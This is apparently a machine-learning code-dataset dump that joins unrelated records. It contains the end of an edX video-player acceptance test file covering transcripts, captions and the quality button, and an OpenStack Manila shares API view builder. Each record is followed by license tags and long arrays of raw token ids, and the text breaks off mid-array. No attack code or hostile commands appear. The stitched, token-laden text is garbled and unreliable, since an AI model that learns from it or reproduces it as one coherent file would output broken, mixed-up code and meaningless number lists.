has text "好 各位同学" unicode_text = "好 各位同学".decode('utf-8') self.assertTrue(self.video.downloaded_transcript_contains_text('srt', unicode_text)) def test_download_button_two_transcript_languages(self): """ Scenario: Download button works correctly for multiple transcript languages in HTML5 mode Given the course has a Video component in "HTML5" mode And I have defined a downloadable non-english transcript for the video And I have defined english subtitles for the video Then I see the correct english text in the captions And the english transcript downloads correctly And I see the correct non-english text in the captions And the non-english transcript downloads correctly """ self.assets.extend(['chinese_transcripts.srt', 'subs_OEoXaMPEzfM.srt.sjson']) data = {'download_track': True, 'transcripts': {'zh': 'chinese_transcripts.srt'}, 'sub': 'OEoXaMPEzfM'} self.metadata = self.metadata_for_mode('html5', additional_data=data) # go to video self.navigate_to_video() # check if "Hi, welcome to Edx." text in the captions self.assertIn('Hi, welcome to Edx.', self.video.captions_text()) # check if we can download transcript in "srt" format that has text "Hi, welcome to Edx." self.assertTrue(self.video.downloaded_transcript_contains_text('srt', 'Hi, welcome to Edx.')) # select language with code "zh" self.assertTrue(self.video.select_language('zh')) # check if we see "好 各位同学" text in the captions unicode_text = "好 各位同学".decode('utf-8') self.assertIn(unicode_text, self.video.captions_text()) #Then I can download transcript in "srt" format that has text "好 各位同学" unicode_text = "好 各位同学".decode('utf-8') self.assertTrue(self.video.downloaded_transcript_contains_text('srt', unicode_text)) def test_full_screen_video_alignment_with_transcript_visible(self): """ Scenario: Video is aligned correctly with transcript enabled in fullscreen mode Given the course has a Video component in "HTML5" mode And I have uploaded a .srt.sjson file to assets And I have defined subtitles for the video When I show the captions And I view the video at fullscreen Then the video with the transcript enabled is aligned correctly """ self.assets.append('subs_OEoXaMPEzfM.srt.sjson') data = {'sub': 'OEoXaMPEzfM'} self.metadata = self.metadata_for_mode('html5', additional_data=data) # go to video self.navigate_to_video() # make sure captions are opened self.video.show_captions() # click video button "fullscreen" self.video.click_player_button('fullscreen') # check if video aligned correctly with enabled transcript self.assertTrue(self.video.is_aligned(True)) def test_cc_button_with_english_transcript(self): """ Scenario: CC button works correctly with only english transcript in HTML5 mode Given the course has a Video component in "HTML5" mode And I have defined english subtitles for the video And I have uploaded an english transcript file to assets Then I see the correct text in the captions """ self.assets.append('subs_OEoXaMPEzfM.srt.sjson') data = {'sub': 'OEoXaMPEzfM'} self.metadata = self.metadata_for_mode('html5', additional_data=data) # go to video self.navigate_to_video() # make sure captions are opened self.video.show_captions() # check if we see "Hi, welcome to Edx." text in the captions self.assertIn("Hi, welcome to Edx.", self.video.captions_text()) def test_cc_button_wo_english_transcript(self): """ Scenario: CC button works correctly w/o english transcript in HTML5 mode Given the course has a Video component in "HTML5" mode And I have defined a non-english transcript for the video And I have uploaded a non-english transcript file to assets Then I see the correct text in the captions """ self.assets.append('chinese_transcripts.srt') data = {'transcripts': {'zh': 'chinese_transcripts.srt'}} self.metadata = self.metadata_for_mode('html5', additional_data=data) # go to video self.navigate_to_video() # make sure captions are opened self.video.show_captions() # check if we see "好 各位同学" text in the captions unicode_text = "好 各位同学".decode('utf-8') self.assertIn(unicode_text, self.video.captions_text()) def test_video_rendering(self): """ Scenario: Video component is fully rendered in the LMS in HTML5 mode Given the course has a Video component in "HTML5" mode Then the video has rendered in "HTML5" mode And video sources are correct """ self.metadata = self.metadata_for_mode('html5') self.navigate_to_video() self.assertTrue(self.video.is_video_rendered('html5')) self.assertTrue(all([source in HTML5_SOURCES for source in self.video.sources()])) class YouTubeQualityTest(VideoBaseTest): """ Test YouTube Video Quality Button """ def setUp(self): super(YouTubeQualityTest, self).setUp() @skip_if_browser('firefox') def test_quality_button_visibility(self): """ Scenario: Quality button appears on play. Given the course has a Video component in "Youtube" mode Then I see video button "quality" is hidden And I click video button "play" Then I see video button "quality" is visible """ self.navigate_to_video() self.assertFalse(self.video.is_quality_button_visible()) self.video.click_player_button('play') self.assertTrue(self.video.is_quality_button_visible()) @skip_if_browser('firefox') def test_quality_button_works_correctly(self): """ Scenario: Quality button works correctly. Given the course has a Video component in "Youtube" mode And I click video button "play" And I see video button "quality" is inactive And I click video button "quality" Then I see video button "quality" is active """ self.navigate_to_video() self.video.click_player_button('play') self.assertFalse(self.video.is_quality_button_active()) self.video.click_player_button('quality') self.assertTrue(self.video.is_quality_button_active())
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 8422, 554, 2295, 367, 15709, 14, 199, 624, 199, 199, 646, 2022, 199, 504, 2882, 492, 3372, 3917, 12, 3372, 199, 646, 4145, 199, 504, 5689, 14, 396, 14, 14163, 10562, 492, 17566, 10562, 199, 504, 2508, 7546, 492, 18276, 6979, 774, 12, 365, 63, 9788, 63, 4561, 199, 504, 2263, 5856, 14, 15807, 14, 3722, 14, 3722, 492, 15709, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 2902, 63, 10927, 492, 23159, 31488, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 1972, 63, 10927, 492, 5531, 31488, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 2495, 63, 1178, 492, 9195, 2817, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 1972, 63, 815, 492, 5531, 2354, 3276, 199, 504, 2263, 8769, 14, 1972, 492, 5531, 12812, 12, 28802, 199, 504, 2508, 7546, 492, 3372, 63, 692, 63, 5750, 421, 199, 20142, 63, 10187, 63, 3657, 275, 1695, 11956, 199, 57, 29470, 63, 840, 2533, 63, 3657, 275, 9137, 1257, 199, 57, 29470, 63, 840, 2533, 63, 2632, 275, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 29930, 15, 1370, 908, 8, 57, 29470, 63, 840, 2533, 63, 3657, 9, 199, 199, 4943, 21, 63, 25744, 275, 359, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 311, 20, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 30504, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 974, 86, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 199, 61, 199, 199, 4943, 21, 63, 25744, 63, 568, 31704, 275, 359, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 311, 1020, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 199, 61, 421, 199, 533, 23534, 2028, 547, 8, 1726, 304, 272, 408, 272, 4520, 8920, 1830, 1101, 4039, 23534, 23429, 7146, 14, 272, 408, 272, 986, 421, 199, 32, 14163, 10562, 199, 32, 15118, 8, 374, 63, 9788, 63, 4561, 342, 365, 756, 12, 283, 30852, 365, 440, 2808, 10916, 199, 533, 15709, 23170, 8, 11427, 6979, 774, 304, 272, 408, 272, 3523, 1021, 367, 2295, 402, 314, 15709, 25610, 272, 10729, 1536, 314, 2518, 436, 6571, 5922, 3423, 367, 314, 15709, 2295, 14, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 408, 267, 6026, 2072, 402, 6497, 436, 2518, 10949, 367, 3991, 2295, 267, 408, 267, 1613, 8, 9166, 23170, 12, 291, 680, 5996, 342, 398, 291, 14, 3722, 275, 15709, 3276, 8, 277, 14, 5750, 9, 267, 291, 14, 2902, 63, 10927, 275, 23159, 31488, 3276, 8, 277, 14, 5750, 9, 267, 291, 14, 1972, 63, 10927, 275, 5531, 31488, 3276, 8, 277, 14, 5750, 9, 267, 291, 14, 1972, 63, 815, 63, 1606, 275, 5531, 2354, 3276, 8, 277, 14, 5750, 12, 291, 14, 1972, 63, 344, 9, 398, 291, 14, 1972, 63, 5997, 275, 5531, 12812, 8, 288, 291, 14, 1972, 63, 815, 459, 1308, 995, 291, 14, 1972, 63, 815, 459, 1955, 995, 288, 291, 14, 1972, 63, 815, 459, 1065, 995, 291, 14, 1972, 63, 815, 459, 2918, 63, 354, 418, 267, 776, 398, 291, 14, 2343, 275, 488, 267, 291, 14, 12186, 275, 942, 267, 291, 14, 422, 764, 2551, 275, 488, 267, 291, 14, 9788, 63, 4758, 275, 1052, 398, 327, 5305, 22378, 10098, 1654, 267, 291, 14, 12808, 8, 277, 423, 3958, 63, 9788, 63, 5811, 63, 1000, 9, 339, 347, 20850, 63, 475, 63, 3722, 8, 277, 304, 267, 408, 17008, 314, 2518, 436, 664, 370, 314, 3991, 436, 3795, 652, 408, 267, 291, 423, 3174, 63, 1972, 63, 5997, 342, 267, 291, 423, 15595, 3237, 63, 475, 63, 17744, 63, 3722, 63, 460, 63, 3352, 342, 339, 347, 20850, 63, 475, 63, 3722, 63, 889, 63, 3352, 8, 277, 304, 267, 408, 267, 17008, 314, 2518, 436, 664, 370, 314, 3991, 4137, 267, 13432, 886, 440, 3618, 367, 652, 370, 3795, 12, 2952, 267, 314, 965, 2757, 376, 1125, 14, 267, 408, 267, 291, 423, 3174, 63, 1972, 63, 5997, 342, 267, 291, 423, 15595, 3237, 63, 475, 63, 17744, 63, 3722, 63, 889, 63, 3352, 342, 339, 347, 485, 3174, 63, 1972, 63, 5997, 8, 277, 304, 267, 408, 13276, 314, 2518, 10949, 626, 965, 2757, 3247, 408, 267, 340, 291, 14, 12186, 26, 288, 291, 14, 1972, 63, 5997, 14, 525, 63, 6562, 8, 277, 14, 12186, 9, 398, 17044, 63, 16211, 275, 28802, 360, 16211, 297, 283, 774, 15247, 358, 267, 17044, 63, 16211, 14, 525, 63, 3223, 2031, 277, 423, 525, 63, 1972, 63, 422, 764, 2551, 1012, 267, 17044, 275, 28802, 360, 11316, 297, 283, 774, 2799, 4185, 1959, 525, 63, 3223, 8, 11316, 63, 16211, 9, 267, 291, 14, 1972, 63, 5997, 14, 525, 63, 3223, 8, 11316, 9, 267, 291, 14, 1972, 63, 5997, 14, 3174, 342, 398, 340, 822, 8, 277, 14, 9788, 63, 4758, 9, 690, 378, 26, 288, 291, 423, 6472, 63, 9788, 63, 5811, 63, 1000, 8, 277, 14, 9788, 63, 4758, 9, 339, 347, 485, 525, 63, 1972, 63, 422, 764, 2551, 8, 277, 304, 267, 408, 267, 2790, 28802, 809, 764, 2551, 267, 520, 1107, 26, 282, 769, 402, 28802, 267, 408, 267, 12971, 63, 422, 764, 2551, 275, 942, 267, 485, 422, 764, 2551, 275, 291, 14, 422, 764, 2551, 398, 327, 15709, 2295, 4409, 737, 5210, 1373, 13763, 543, 282, 2849, 3991, 14, 267, 340, 440, 485, 422, 764, 2551, 26, 288, 485, 422, 764, 2551, 275, 3474, 1445, 2918, 63, 354, 356, 283, 9166, 297, 283, 2343, 356, 291, 14, 2343, 93, 2677, 398, 367, 13763, 63, 1080, 12, 13763, 315, 3874, 1547, 422, 764, 2551, 304, 288, 12971, 63, 422, 764, 2551, 14, 740, 8, 277, 423, 981, 63, 4780, 63, 7870, 8, 7870, 12, 13763, 63, 1080, 430, 398, 372, 12971, 63, 422, 764, 2551, 339, 347, 485, 981, 63, 4780, 63, 7870, 8, 277, 12, 13763, 12, 13763, 63, 1080, 304, 267, 408, 267, 2790, 282, 2849 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 8422, 554, 2295, 367, 15709, 14, 199, 624, 199, 199, 646, 2022, 199, 504, 2882, 492, 3372, 3917, 12, 3372, 199, 646, 4145, 199, 504, 5689, 14, 396, 14, 14163, 10562, 492, 17566, 10562, 199, 504, 2508, 7546, 492, 18276, 6979, 774, 12, 365, 63, 9788, 63, 4561, 199, 504, 2263, 5856, 14, 15807, 14, 3722, 14, 3722, 492, 15709, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 2902, 63, 10927, 492, 23159, 31488, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 1972, 63, 10927, 492, 5531, 31488, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 2495, 63, 1178, 492, 9195, 2817, 3276, 199, 504, 2263, 5856, 14, 15807, 14, 1972, 63, 815, 492, 5531, 2354, 3276, 199, 504, 2263, 8769, 14, 1972, 492, 5531, 12812, 12, 28802, 199, 504, 2508, 7546, 492, 3372, 63, 692, 63, 5750, 421, 199, 20142, 63, 10187, 63, 3657, 275, 1695, 11956, 199, 57, 29470, 63, 840, 2533, 63, 3657, 275, 9137, 1257, 199, 57, 29470, 63, 840, 2533, 63, 2632, 275, 283, 1014, 921, 4195, 14, 16, 14, 16, 14, 17, 29930, 15, 1370, 908, 8, 57, 29470, 63, 840, 2533, 63, 3657, 9, 199, 199, 4943, 21, 63, 25744, 275, 359, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 311, 20, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 30504, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 974, 86, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 199, 61, 199, 199, 4943, 21, 63, 25744, 63, 568, 31704, 275, 359, 272, 283, 1014, 921, 5967, 14534, 16, 5995, 71, 565, 573, 14, 311, 1020, 1370, 908, 8, 20142, 63, 10187, 63, 3657, 395, 199, 61, 421, 199, 533, 23534, 2028, 547, 8, 1726, 304, 272, 408, 272, 4520, 8920, 1830, 1101, 4039, 23534, 23429, 7146, 14, 272, 408, 272, 986, 421, 199, 32, 14163, 10562, 199, 32, 15118, 8, 374, 63, 9788, 63, 4561, 342, 365, 756, 12, 283, 30852, 365, 440, 2808, 10916, 199, 533, 15709, 23170, 8, 11427, 6979, 774, 304, 272, 408, 272, 3523, 1021, 367, 2295, 402, 314, 15709, 25610, 272, 10729, 1536, 314, 2518, 436, 6571, 5922, 3423, 367, 314, 15709, 2295, 14, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 408, 267, 6026, 2072, 402, 6497, 436, 2518, 10949, 367, 3991, 2295, 267, 408, 267, 1613, 8, 9166, 23170, 12, 291, 680, 5996, 342, 398, 291, 14, 3722, 275, 15709, 3276, 8, 277, 14, 5750, 9, 267, 291, 14, 2902, 63, 10927, 275, 23159, 31488, 3276, 8, 277, 14, 5750, 9, 267, 291, 14, 1972, 63, 10927, 275, 5531, 31488, 3276, 8, 277, 14, 5750, 9, 267, 291, 14, 1972, 63, 815, 63, 1606, 275, 5531, 2354, 3276, 8, 277, 14, 5750, 12, 291, 14, 1972, 63, 344, 9, 398, 291, 14, 1972, 63, 5997, 275, 5531, 12812, 8, 288, 291, 14, 1972, 63, 815, 459, 1308, 995, 291, 14, 1972, 63, 815, 459, 1955, 995, 288, 291, 14, 1972, 63, 815, 459, 1065, 995, 291, 14, 1972, 63, 815, 459, 2918, 63, 354, 418, 267, 776, 398, 291, 14, 2343, 275, 488, 267, 291, 14, 12186, 275, 942, 267, 291, 14, 422, 764, 2551, 275, 488, 267, 291, 14, 9788, 63, 4758, 275, 1052, 398, 327, 5305, 22378, 10098, 1654, 267, 291, 14, 12808, 8, 277, 423, 3958, 63, 9788, 63, 5811, 63, 1000, 9, 339, 347, 20850, 63, 475, 63, 3722, 8, 277, 304, 267, 408, 17008, 314, 2518, 436, 664, 370, 314, 3991, 436, 3795, 652, 408, 267, 291, 423, 3174, 63, 1972, 63, 5997, 342, 267, 291, 423, 15595, 3237, 63, 475, 63, 17744, 63, 3722, 63, 460, 63, 3352, 342, 339, 347, 20850, 63, 475, 63, 3722, 63, 889, 63, 3352, 8, 277, 304, 267, 408, 267, 17008, 314, 2518, 436, 664, 370, 314, 3991, 4137, 267, 13432, 886, 440, 3618, 367, 652, 370, 3795, 12, 2952, 267, 314, 965, 2757, 376, 1125, 14, 267, 408, 267, 291, 423, 3174, 63, 1972, 63, 5997, 342, 267, 291, 423, 15595, 3237, 63, 475, 63, 17744, 63, 3722, 63, 889, 63, 3352, 342, 339, 347, 485, 3174, 63, 1972, 63, 5997, 8, 277, 304, 267, 408, 13276, 314, 2518, 10949, 626, 965, 2757, 3247, 408, 267, 340, 291, 14, 12186, 26, 288, 291, 14, 1972, 63, 5997, 14, 525, 63, 6562, 8, 277, 14, 12186, 9, 398, 17044, 63, 16211, 275, 28802, 360, 16211, 297, 283, 774, 15247, 358, 267, 17044, 63, 16211, 14, 525, 63, 3223, 2031, 277, 423, 525, 63, 1972, 63, 422, 764, 2551, 1012, 267, 17044, 275, 28802, 360, 11316, 297, 283, 774, 2799, 4185, 1959, 525, 63, 3223, 8, 11316, 63, 16211, 9, 267, 291, 14, 1972, 63, 5997, 14, 525, 63, 3223, 8, 11316, 9, 267, 291, 14, 1972, 63, 5997, 14, 3174, 342, 398, 340, 822, 8, 277, 14, 9788, 63, 4758, 9, 690, 378, 26, 288, 291, 423, 6472, 63, 9788, 63, 5811, 63, 1000, 8, 277, 14, 9788, 63, 4758, 9, 339, 347, 485, 525, 63, 1972, 63, 422, 764, 2551, 8, 277, 304, 267, 408, 267, 2790, 28802, 809, 764, 2551, 267, 520, 1107, 26, 282, 769, 402, 28802, 267, 408, 267, 12971, 63, 422, 764, 2551, 275, 942, 267, 485, 422, 764, 2551, 275, 291, 14, 422, 764, 2551, 398, 327, 15709, 2295, 4409, 737, 5210, 1373, 13763, 543, 282, 2849, 3991, 14, 267, 340, 440, 485, 422, 764, 2551, 26, 288, 485, 422, 764, 2551, 275, 3474, 1445, 2918, 63, 354, 356, 283, 9166, 297, 283, 2343, 356, 291, 14, 2343, 93, 2677, 398, 367, 13763, 63, 1080, 12, 13763, 315, 3874, 1547, 422, 764, 2551, 304, 288, 12971, 63, 422, 764, 2551, 14, 740, 8, 277, 423, 981, 63, 4780, 63, 7870, 8, 7870, 12, 13763, 63, 1080, 430, 398, 372, 12971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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
redhat-openstack/manila
manila/api/views/shares.py
1
4947
# Copyright 2013 OpenStack LLC. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from manila.api import common class ViewBuilder(common.ViewBuilder): """Model a server API response as a python dictionary.""" _collection_name = 'shares' _detail_version_modifiers = [ "add_snapshot_support_field", "add_consistency_group_fields", "add_task_state_field", "modify_share_type_field", ] def summary_list(self, request, shares): """Show a list of shares without many details.""" return self._list_view(self.summary, request, shares) def detail_list(self, request, shares): """Detailed view of a list of shares.""" return self._list_view(self.detail, request, shares) def summary(self, request, share): """Generic, non-detailed view of an share.""" return { 'share': { 'id': share.get('id'), 'name': share.get('display_name'), 'links': self._get_links(request, share['id']) } } def detail(self, request, share): """Detailed view of a single share.""" context = request.environ['manila.context'] metadata = share.get('share_metadata') if metadata: metadata = dict((item['key'], item['value']) for item in metadata) else: metadata = {} export_locations = share.get('export_locations', []) if share['share_type_id'] and share.get('share_type'): share_type = share['share_type']['name'] else: share_type = share['share_type_id'] share_dict = { 'id': share.get('id'), 'size': share.get('size'), 'availability_zone': share.get('availability_zone'), 'created_at': share.get('created_at'), 'status': share.get('status'), 'name': share.get('display_name'), 'description': share.get('display_description'), 'project_id': share.get('project_id'), 'host': share.get('host'), 'snapshot_id': share.get('snapshot_id'), 'share_network_id': share.get('share_network_id'), 'share_proto': share.get('share_proto'), 'export_location': share.get('export_location'), 'metadata': metadata, 'share_type': share_type, 'volume_type': share_type, 'links': self._get_links(request, share['id']), 'is_public': share.get('is_public'), 'export_locations': export_locations, } self.update_versioned_resource_dict(request, share_dict, share) if context.is_admin: share_dict['share_server_id'] = share.get('share_server_id') return {'share': share_dict} @common.ViewBuilder.versioned_method("2.2") def add_snapshot_support_field(self, share_dict, share): share_dict['snapshot_support'] = share.get('snapshot_support') @common.ViewBuilder.versioned_method("2.4") def add_consistency_group_fields(self, share_dict, share): share_dict['consistency_group_id'] = share.get( 'consistency_group_id') share_dict['source_cgsnapshot_member_id'] = share.get( 'source_cgsnapshot_member_id') @common.ViewBuilder.versioned_method("2.5") def add_task_state_field(self, share_dict, share): share_dict['task_state'] = share.get('task_state') @common.ViewBuilder.versioned_method("2.6") def modify_share_type_field(self, share_dict, share): share_type = share.get('share_type_id') share_type_name = None if share.get('share_type'): share_type_name = share.get('share_type').get('name') share_dict.update({ 'share_type_name': share_type_name, 'share_type': share_type, }) def _list_view(self, func, request, shares): """Provide a view for a list of shares.""" shares_list = [func(request, share)['share'] for share in shares] shares_links = self._get_collection_links(request, shares, self._collection_name) shares_dict = dict(shares=shares_list) if shares_links: shares_dict['shares_links'] = shares_links return shares_dict
apache-2.0
[ 3, 1898, 6171, 14260, 20376, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 2169, 25330, 14, 1246, 492, 2863, 421, 199, 533, 10935, 6437, 8, 2330, 14, 2768, 6437, 304, 272, 408, 1685, 282, 1654, 3261, 1177, 465, 282, 2366, 2600, 1041, 339, 485, 3627, 63, 354, 275, 283, 18318, 7, 272, 485, 5506, 63, 1023, 63, 17431, 275, 359, 267, 298, 525, 63, 4753, 63, 4058, 63, 698, 401, 267, 298, 525, 63, 20249, 63, 923, 63, 955, 401, 267, 298, 525, 63, 1765, 63, 929, 63, 698, 401, 267, 298, 8951, 63, 6251, 63, 466, 63, 698, 401, 272, 1622, 339, 347, 6212, 63, 513, 8, 277, 12, 1056, 12, 25616, 304, 267, 408, 6824, 282, 769, 402, 25616, 1928, 5002, 2436, 1041, 267, 372, 291, 423, 513, 63, 1345, 8, 277, 14, 4705, 12, 1056, 12, 25616, 9, 339, 347, 10093, 63, 513, 8, 277, 12, 1056, 12, 25616, 304, 267, 408, 36, 1841, 1672, 2455, 402, 282, 769, 402, 25616, 1041, 267, 372, 291, 423, 513, 63, 1345, 8, 277, 14, 5506, 12, 1056, 12, 25616, 9, 339, 347, 6212, 8, 277, 12, 1056, 12, 8663, 304, 267, 408, 9417, 12, 2222, 13, 19170, 2455, 402, 376, 8663, 1041, 267, 372, 469, 288, 283, 6251, 356, 469, 355, 283, 344, 356, 8663, 14, 362, 360, 344, 659, 355, 283, 354, 356, 8663, 14, 362, 360, 2918, 63, 354, 659, 355, 283, 4614, 356, 291, 423, 362, 63, 4614, 8, 1069, 12, 8663, 459, 344, 1105, 288, 789, 267, 789, 339, 347, 10093, 8, 277, 12, 1056, 12, 8663, 304, 267, 408, 36, 1841, 1672, 2455, 402, 282, 2849, 8663, 1041, 267, 1067, 275, 1056, 14, 2314, 459, 1237, 25330, 14, 1100, 418, 267, 3341, 275, 8663, 14, 362, 360, 6251, 63, 2343, 358, 267, 340, 3341, 26, 288, 3341, 275, 1211, 1332, 1053, 459, 498, 995, 1242, 459, 585, 1105, 367, 1242, 315, 3341, 9, 267, 587, 26, 288, 3341, 275, 1052, 398, 4843, 63, 8022, 275, 8663, 14, 362, 360, 3790, 63, 8022, 297, 3073, 398, 340, 8663, 459, 6251, 63, 466, 63, 344, 418, 436, 8663, 14, 362, 360, 6251, 63, 466, 735, 288, 8663, 63, 466, 275, 8663, 459, 6251, 63, 466, 2545, 354, 418, 267, 587, 26, 288, 8663, 63, 466, 275, 8663, 459, 6251, 63, 466, 63, 344, 418, 398, 8663, 63, 807, 275, 469, 288, 283, 344, 356, 8663, 14, 362, 360, 344, 659, 288, 283, 890, 356, 8663, 14, 362, 360, 890, 659, 288, 283, 11856, 63, 2619, 356, 8663, 14, 362, 360, 11856, 63, 2619, 659, 288, 283, 3966, 63, 292, 356, 8663, 14, 362, 360, 3966, 63, 292, 659, 288, 283, 1205, 356, 8663, 14, 362, 360, 1205, 659, 288, 283, 354, 356, 8663, 14, 362, 360, 2918, 63, 354, 659, 288, 283, 1802, 356, 8663, 14, 362, 360, 2918, 63, 1802, 659, 288, 283, 1715, 63, 344, 356, 8663, 14, 362, 360, 1715, 63, 344, 659, 288, 283, 1102, 356, 8663, 14, 362, 360, 1102, 659, 288, 283, 4753, 63, 344, 356, 8663, 14, 362, 360, 4753, 63, 344, 659, 288, 283, 6251, 63, 1200, 63, 344, 356, 8663, 14, 362, 360, 6251, 63, 1200, 63, 344, 659, 288, 283, 6251, 63, 2625, 356, 8663, 14, 362, 360, 6251, 63, 2625, 659, 288, 283, 3790, 63, 1985, 356, 8663, 14, 362, 360, 3790, 63, 1985, 659, 288, 283, 2343, 356, 3341, 12, 288, 283, 6251, 63, 466, 356, 8663, 63, 466, 12, 288, 283, 2405, 63, 466, 356, 8663, 63, 466, 12, 288, 283, 4614, 356, 291, 423, 362, 63, 4614, 8, 1069, 12, 8663, 459, 344, 3815, 288, 283, 374, 63, 3455, 356, 8663, 14, 362, 360, 374, 63, 3455, 659, 288, 283, 3790, 63, 8022, 356, 4843, 63, 8022, 12, 267, 789, 398, 291, 14, 873, 63, 24155, 63, 1927, 63, 807, 8, 1069, 12, 8663, 63, 807, 12, 8663, 9, 398, 340, 1067, 14, 374, 63, 2113, 26, 288, 8663, 63, 807, 459, 6251, 63, 1000, 63, 344, 418, 275, 8663, 14, 362, 360, 6251, 63, 1000, 63, 344, 358, 267, 372, 791, 6251, 356, 8663, 63, 807, 93, 339, 768, 2330, 14, 2768, 6437, 14, 24155, 63, 765, 480, 18, 14, 18, 531, 272, 347, 1050, 63, 4753, 63, 4058, 63, 698, 8, 277, 12, 8663, 63, 807, 12, 8663, 304, 267, 8663, 63, 807, 459, 4753, 63, 4058, 418, 275, 8663, 14, 362, 360, 4753, 63, 4058, 358, 339, 768, 2330, 14, 2768, 6437, 14, 24155, 63, 765, 480, 18, 14, 20, 531, 272, 347, 1050, 63, 20249, 63, 923, 63, 955, 8, 277, 12, 8663, 63, 807, 12, 8663, 304, 267, 8663, 63, 807, 459, 20249, 63, 923, 63, 344, 418, 275, 8663, 14, 362, 8, 288, 283, 20249, 63, 923, 63, 344, 358, 267, 8663, 63, 807, 459, 1365, 63, 67, 458, 3023, 63, 1114, 63, 344, 418, 275, 8663, 14, 362, 8, 288, 283, 1365, 63, 67, 458, 3023, 63, 1114, 63, 344, 358, 339, 768, 2330, 14, 2768, 6437, 14, 24155, 63, 765, 480, 18, 14, 21, 531, 272, 347, 1050, 63, 1765, 63, 929, 63, 698, 8, 277, 12, 8663, 63, 807, 12, 8663, 304, 267, 8663, 63, 807, 459, 1765, 63, 929, 418, 275, 8663, 14, 362, 360, 1765, 63, 929, 358, 339, 768, 2330, 14, 2768, 6437 ]
[ 1898, 6171, 14260, 20376, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 2169, 25330, 14, 1246, 492, 2863, 421, 199, 533, 10935, 6437, 8, 2330, 14, 2768, 6437, 304, 272, 408, 1685, 282, 1654, 3261, 1177, 465, 282, 2366, 2600, 1041, 339, 485, 3627, 63, 354, 275, 283, 18318, 7, 272, 485, 5506, 63, 1023, 63, 17431, 275, 359, 267, 298, 525, 63, 4753, 63, 4058, 63, 698, 401, 267, 298, 525, 63, 20249, 63, 923, 63, 955, 401, 267, 298, 525, 63, 1765, 63, 929, 63, 698, 401, 267, 298, 8951, 63, 6251, 63, 466, 63, 698, 401, 272, 1622, 339, 347, 6212, 63, 513, 8, 277, 12, 1056, 12, 25616, 304, 267, 408, 6824, 282, 769, 402, 25616, 1928, 5002, 2436, 1041, 267, 372, 291, 423, 513, 63, 1345, 8, 277, 14, 4705, 12, 1056, 12, 25616, 9, 339, 347, 10093, 63, 513, 8, 277, 12, 1056, 12, 25616, 304, 267, 408, 36, 1841, 1672, 2455, 402, 282, 769, 402, 25616, 1041, 267, 372, 291, 423, 513, 63, 1345, 8, 277, 14, 5506, 12, 1056, 12, 25616, 9, 339, 347, 6212, 8, 277, 12, 